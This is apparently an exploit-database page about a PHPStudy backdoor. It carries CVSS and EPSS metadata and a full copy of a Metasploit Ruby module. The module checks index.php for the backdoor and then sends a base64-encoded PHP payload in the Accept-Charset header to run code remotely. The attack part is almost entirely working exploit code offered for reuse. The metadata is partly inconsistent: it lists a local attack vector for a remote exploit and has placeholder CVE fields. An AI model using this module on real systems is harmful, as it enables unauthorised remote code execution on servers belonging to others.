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PHPStudy Backdoor Remote Code execution (Metasploit)

CVE	Category	Price	Severity
CVE-XXXX-XXXX	CWE-XXX	Unknown	High

Author	Risk	Exploitation Type	Date
Metasploit	Critical	Remote	2020-03-11

CPE
cpe:cpe:/a:phpstudy:phpstudy

CVSS	EPSS	EPSSP
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements	Present	AT	The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Confidentiality Impact to the Vulnerable System	High	VC	There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Availability Impact to the Vulnerable System	High	VI	There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the Vulnerable System. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the Vulnerable System.
Availability Impact to the Vulnerable System	High	VA	There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Subsequent System Confidentiality Impact	Negligible	SC	There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Integrity Impact to the Subsequent System	None	SI	There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Availability Impact to the Subsequent System	None	SA	There is no loss of availibility within the Subsequent System or all availibility impact is constrained to the Vulnerable System.

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020030054

Below is a copy:

PHPStudy Backdoor Remote Code execution (Metasploit)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "PHPStudy Backdoor Remote Code execution",
      'Description'    => %q{
        This module can detect and exploit the backdoor of PHPStudy.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Dimensional',  #POC
          'Airevan'       #Metasploit Module
        ],
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          ['PHPStudy 2016-2018', {}]
        ],
      'References'    =>
        [
          ['URL', 'https://programmer.group/using-ghidra-to-analyze-the-back-door-of-phpstudy.html']
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Sep 20 2019",
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path', '/'])
      ])
  end
  def check
    uri = target_uri.path
    fingerprint = Rex::Text.rand_text_alpha(8)
    res = send_request_cgi({
      'method'  =>  'GET',
      'uri'     =>  normalize_uri(uri, 'index.php'),
      'headers' =>  {
        'Accept-Encoding' =>  'gzip,deflate',
        'Accept-Charset'  =>  Rex::Text.encode_base64("echo '#{fingerprint}';")
      }
    })

    if res && res.code == 200 && res.body.to_s.include?(fingerprint)
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end
  def exploit
    uri = target_uri.path
    print_good("Sending shellcode")
    res = send_request_cgi({
      'method'  => 'GET',
      'uri'     => normalize_uri(uri, 'index.php'),
      'headers' => {
          'Accept-Encoding' => 'gzip,deflate',
          'Accept-Charset'  => Rex::Text.encode_base64(payload.encoded)
      }
  })
  end
end

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